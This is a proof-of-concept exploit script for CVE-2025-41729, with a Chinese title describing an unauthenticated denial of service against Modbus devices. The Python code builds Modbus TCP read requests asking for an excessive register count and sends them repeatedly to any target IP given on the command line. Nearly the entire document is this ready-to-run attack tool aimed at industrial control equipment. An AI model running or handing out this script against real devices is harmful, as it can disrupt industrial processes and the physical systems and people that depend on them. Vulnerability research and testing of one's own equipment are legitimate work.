CVE-2025-41729: 未认证远程攻击导致Modbus设备拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-41729 PoC - Modbus Device DoS Description: Unauthenticated remote attacker can send a specially crafted Modbus read command to cause denial of service. Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-41729 """ import socket import struct import sys from typing import Optional def calculate_modbus_rtu_crc(data: bytes) -> bytes: """Calculate Modbus RTU CRC16""" crc = 0xFFFF for byte in data: crc ^= byte for _ in range(8): if crc & 0x0001: crc = (crc >> 1) ^ 0xA001 else: crc >>= 1 return struct.pack('<H', crc) def build_modbus_tcp_packet(unit_id: int, function_code: int, start_addr: int, quantity: int) -> bytes: """Build Modbus TCP packet with malformed parameters""" transaction_id = 0x0001 protocol_id = 0x0000 # PDU: Function code + starting address + quantity pdu = bytes([function_code]) pdu += struct.pack('>H', start_addr) # Starting address pdu += struct.pack('>H', quantity) # Quantity of registers # MBAP header length = len(pdu) + 1 # +1 for unit_id mbap = struct.pack('>HHH', transaction_id, protocol_id, length) mbap += bytes([unit_id]) return mbap + pdu def exploit_modbus_dos(target_ip: str, target_port: int = 502, unit_id: int = 1, iterations: int = 10) -> bool: """ Send crafted Modbus read command to trigger DoS Args: target_ip: Target device IP address target_port: Modbus TCP port (default 502) unit_id: Modbus unit/slave ID iterations: Number of malicious requests to send Returns: True if exploit sent successfully, False otherwise """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending {iterations} crafted Modbus requests...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Method 1: Request excessive register range (causes resource exhaustion) malicious_packet = build_modbus_tcp_packet( unit_id=unit_id, function_code=0x03, # Read Holding Registers start_addr=0x0000, quantity=0x7FFF # Excessive quantity ) for i in range(iterations): sock.send(malicious_packet) print(f"[+] Sent malicious request {i+1}/{iterations}") sock.close() print("[*] Exploit packets sent. Target may be affected.") return True except socket.timeout: print("[-] Connection timeout - target may be unresponsive") return False except ConnectionRefusedError: print("[-] Connection refused - check target address and port") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_41729_poc.py <target_ip> [port] [unit_id]") print("Example: python3 cve_2025_41729_poc.py 192.168.1.100 502 1") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 unit_id = int(sys.argv[3]) if len(sys.argv) > 3 else 1 print("=" * 60) print("CVE-2025-41729 Modbus Device DoS PoC") print("=" * 60) exploit_modbus_dos(target_ip, target_port, unit_id) if __name__ == "__main__": main()